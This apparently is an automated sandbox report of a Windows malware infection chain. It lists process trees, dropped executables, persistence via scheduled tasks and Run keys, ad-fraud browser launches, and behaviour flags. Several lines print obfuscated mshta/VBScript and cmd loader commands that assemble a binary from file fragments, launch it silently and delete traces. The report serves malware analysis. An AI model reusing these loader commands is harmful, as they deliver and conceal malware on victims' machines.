C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e908⤵
- Drops startup file
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- System policy modification
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1708,9668095346393914164,17212026427095540088,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1264_2042840811" --mojo-platform-channel-handle=1756 /prefetch:87⤵
-
C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe"C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe"4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\is-80VEI.tmp\7PiTSpRm0qmGzXfIHUg6E3lc.tmp"C:\Users\Admin\AppData\Local\Temp\is-80VEI.tmp\7PiTSpRm0qmGzXfIHUg6E3lc.tmp" /SL5="$B01FE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\7PiTSpRm0qmGzXfIHUg6E3lc.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VOHVF.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-VOHVF.tmp\DYbALA.exe" /S /UID=27096⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\d5-b4399-d5e-5a183-222ba247f48e1\Biqyshotuvu.exe"C:\Users\Admin\AppData\Local\Temp\d5-b4399-d5e-5a183-222ba247f48e1\Biqyshotuvu.exe"7⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e68⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad147189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:29⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2624 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:39⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4016 /prefetch:29⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4256 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4988 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1232 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:19⤵
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4276 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4132 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6296 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2200,14254275707864777132,4580194947830928414,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6512 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad8⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad147189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514838⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad147189⤵
-
C:\Users\Admin\AppData\Local\Temp\d3-6a6e1-c28-a3b8e-09bf276448129\Garypaebaewa.exe"C:\Users\Admin\AppData\Local\Temp\d3-6a6e1-c28-a3b8e-09bf276448129\Garypaebaewa.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exe /eufive & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exe /eufive9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 23610⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe /qn CAMPAIGN="654" & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exeC:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe /qn CAMPAIGN="654"9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636128741 /qn CAMPAIGN=""654"" " CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exeC:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe"C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe" -u10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exe /mixfive & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exe /mixfive9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 23610⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w0ncukqt.xd5\autosubplayer.exe /S & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
C:\Program Files\Windows NT\VKGIWHDDEP\foldershare.exe"C:\Program Files\Windows NT\VKGIWHDDEP\foldershare.exe" /VERYSILENT7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe"C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2095db5b6bd7.exeTue2095db5b6bd7.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 16882⤵
- Program crash
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ( "WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe"" > ..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe"" ) do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe" >..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe" ) do taskkill /IM "%~nXY" -f2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Tue20adee3c26d.exe" -f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\_4SO.EXE..\_4SO.Exe /PZOIMJIYi~u3pALhs3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT ( "WSCRIPt.SHELL" ). RUn ( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 , tRue ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D &COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHo "6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"6⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\WOYVBnm.96⤵
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\test.bat"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4E2H5.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-4E2H5.tmp\Tue201d50e7015.tmp" /SL5="$501EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe" /SILENT1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2244 -ip 22441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20d8f1968de62f282.exeTue20d8f1968de62f282.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe"C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe" /SILENT1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20abd30733a17.exeTue20abd30733a17.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv LIhayognIkSc4otQrt/dsQ.0.21⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5816 -ip 58161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ( "WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" ) do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" ) do taskkill /IM "%~nXY" -f2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2524 -ip 25241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4408 -ip 44081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3520 -ip 35201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5408 -ip 54081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3964 -ip 39641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 548 -ip 5481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1940 -ip 19401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4108 -ip 41081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SetThreadContext
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 3361⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3444 -ip 34441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2496 -ip 24961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5760 -ip 57601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5476 -ip 54761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 2708 -ip 27081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 6736 -ip 67361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5808 -ip 58081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 5764 -ip 57641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1480 -ip 14801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 4544 -ip 45441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 5960 -ip 59601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 880 -p 4776 -ip 47761⤵
